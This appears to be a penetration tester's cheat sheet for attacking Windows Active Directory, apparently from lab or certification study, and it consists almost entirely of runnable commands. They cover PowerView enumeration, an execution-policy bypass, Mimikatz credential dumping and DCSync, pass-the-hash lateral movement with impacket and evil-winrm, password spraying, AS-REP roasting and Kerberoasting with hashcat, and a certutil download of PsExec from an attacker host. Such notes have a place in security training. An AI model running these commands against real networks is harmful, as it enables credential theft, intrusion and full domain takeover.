type C:\Users\USERA\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
echo "Let's check if this script works running as damon and password password123"
wget https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1
Import-Module .\PowerView.ps1
Get-NetDomain
Get-NetUser
Get-DomainUser
Get-DomainUser | select cn
Get-NetGroup | select name
Get-NetGroupMember -MemberName "domain admins" -Recurse | select MemberName
Get-NetUser -SPN #Kerberoastable users
Get-NetUser -SPN | select serviceprincipalname #Kerberoastable users
Get-NetUser -SPN | ?{$_.memberof -match 'Domain Admins'} #Domain admins kerberostable
Find-LocalAdminAccess #Asks DC for all computers, and asks every compute if it has admin access (very noisy). You need RCP and SMB ports opened.
PS C:\> Import-Module .\PowerView.ps1
Import-Module : File C:\PowerView.ps1 cannot be loaded because running scripts is disabled on this system. For more
information, see about_Execution_Policies at https:/go.microsoft.com/fwlink/?LinkID=135170.
PS C:\> powershell -exec bypass #this is how to get around it
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.
Try the new cross-platform PowerShell https://aka.ms/pscore6
Import-Module .\PowerView.ps1
PS C:\> Import-Module .\PowerView.ps1
https://github.com/gentilkiwi/mimikatz/releases/download/2.2.0-20220919/mimikatz_trunk.zip
or
https://github.com/allandev5959/mimikatz-2.1.1
unzip mimikatz_trunk.zip
cp /usr/share/windows-resources/mimikatz/Win32/mimikatz.exe .
cp /usr/share/windows-resources/mimikatz/x64/mimikatz.exe .
privilege::debug
mimikatz token::elevate
sekurlsa::logonpasswords
sekurlsa::tickets
nslookup #use this tool to internally find the next computer to pivot to.
example-app23.example.com #found this from either the tgt, mimikatz, etc. Shows you where to go next
Address: 10.11.1.121
impacket-psexec jess:[email protected] cmd.exe
impacket-psexec -hashes aad3b435b51404eeaad3b435b51404ee:8c802621d2e36fc074345dded890f3e5 [email protected]
impacket-psexec -hashes lm:ntlm [email protected]
evil-winrm -u <user> -p <password> -i 172.16.138.83
evil-winrm -u <user> -H <hash> -i 172.16.138.83
proxychains -q impacket-wmiexec forest/bob:'password'@172.16.138.10
impacket-wmiexec forest/bob:'password'@172.16.138.10
rdesktop -u 'USERN' -p 'abc123//' 192.168.129.59 -g 94% -d example
xfreerdp /v:10.1.1.89 /u:USERX /pth:5e22b03be2cnzxlcjei9cxzc9x
xfreerdp /cert-ignore /bpp:8 /compression -themes -wallpaper /auto-reconnect /h:1000 /w:1600 /v:192.168.238.191 /u:admin /p:password
xfreerdp /u:admin /v:192.168.238.191 /cert:ignore /p:"password" /timeout:20000 /drive:home,/tmp
windows + R
type: \\172.16.120.21
Enter User Name
Enter Password
[now view shares via rdp session]
sudo crackmapexec smb 192.168.50.75 -u users.txt -p 'Nexus123!' -d example.com --continue-on-success
sudo crackmapexec smb 192.168.50.75 -u USERD -p 'Flowers1' -d example.com
sudo crackmapexec smb 10.10.137.142 -u users.txt -p pass.txt -d ms02 --continue-on-success
sudo proxychains crackmapexec smb 10.10.124.140 -u Admin -p hghgib6vHT3bVWf -x whoami --local-auth
sudo proxychains crackmapexec winrm 10.10.124.140 -u Admin -p hghgib6vHT3bVWf -x whoami --local-auth
sudo crackmapexec winrm 192.168.50.75 -u users.txt -p 'Nexus123!' -d example.com --continue-on-success
sudo crackmapexec winrm 192.168.50.75 -u USERD -p 'Flowers1' -d example.com
sudo crackmapexec winrm 10.10.137.142 -u users.txt -p pass.txt -d ms02 --continue-on-succes
proxychains crackmapexec mssql -d example.com -u sql_service -p password123 -x "whoami" 10.10.126.148
.\kerbrute_windows_amd64.exe passwordspray -d example.com .\usernames.txt "password123"
crackmapexec smb 10.11.1.120-124 -u admin -H 'LMHASH:NTHASH' --local-auth --lsa #for hashes
crackmapexec smb 10.11.1.20-24 -u pat -H b566afa0a7e41755a286cba1a7a3012d --exec-method smbexec -X 'whoami'
crackmapexec smb 10.11.1.20-24 -u tim -H 08df3c73ded940e1f2bcf5eea4b8dbf6 -d svexample.com -x whoami
proxychains crackmapexec smb 10.10.126.146 -u 'Admin' -H '59b280ba707d22e3ef0aa587fc29ffe5' -x whoami -d example.com
PS> klist # should show no TGT/TGS
PS> net use \\SV-FILE01 (try other comps/targets) # generate TGT by auth to network share on the computer
PS> klist # now should show TGT/TGS
PS> certutil -urlcache -split -f http://192.168.119.140:80/PsExec.exe #/usr/share/windows-resources
PS> .\PsExec.exe \\SV-FILE01 cmd.exe
impacket-GetNPUsers -dc-ip 192.168.50.70 -request -outputfile hashes.asreproast example.com/USERP
cp /opt/Ghostpack-CompiledBinaries/Rubeus.exe .
.\Rubeus.exe asreproast /nowrap /outfile:hashes.asreproast
type hashes.asreproast
sudo hashcat -m 18200 hashes.asreproast /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule --force
sudo impacket-GetUserSPNs -request -outputfile hashes.kerberoast -dc-ip 192.168.50.70 example.com/user
.\Rubeus.exe kerberoast /simple /outfile:hashes.kerberoast
sudo hashcat -m 13100 hashes.kerberoast /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule --force
To do this, we could move laterally to the domain controller and run Mimikatz to dump the password hash of every user. We could also steal a copy of the NTDS.dit database file,1 which is a copy of all Active Directory accounts stored on the hard drive, similar to the SAM database used for local accounts.
lsadump::dcsync /all /csv #First run this to view all the dumpable hashes to be cracked or pass the hash
lsadump::dcsync /user:zenservice #Pick a user with domain admin rights to crack the password or pass the hash
Credentials:
Hash NTLM: d098fa8675acd7d26ab86eb2581233e5
ntlm- 0: d098fa8675acd7d26ab86eb2581233e5
lm - 0: 6ba75a670ee56eaf5cdf102fabb7bd4c
impacket-psexec -hashes 6ba75a670ee56eaf5cdf102fabb7bd4c:d098fa8675acd7d26ab86eb2581233e5 [email protected]
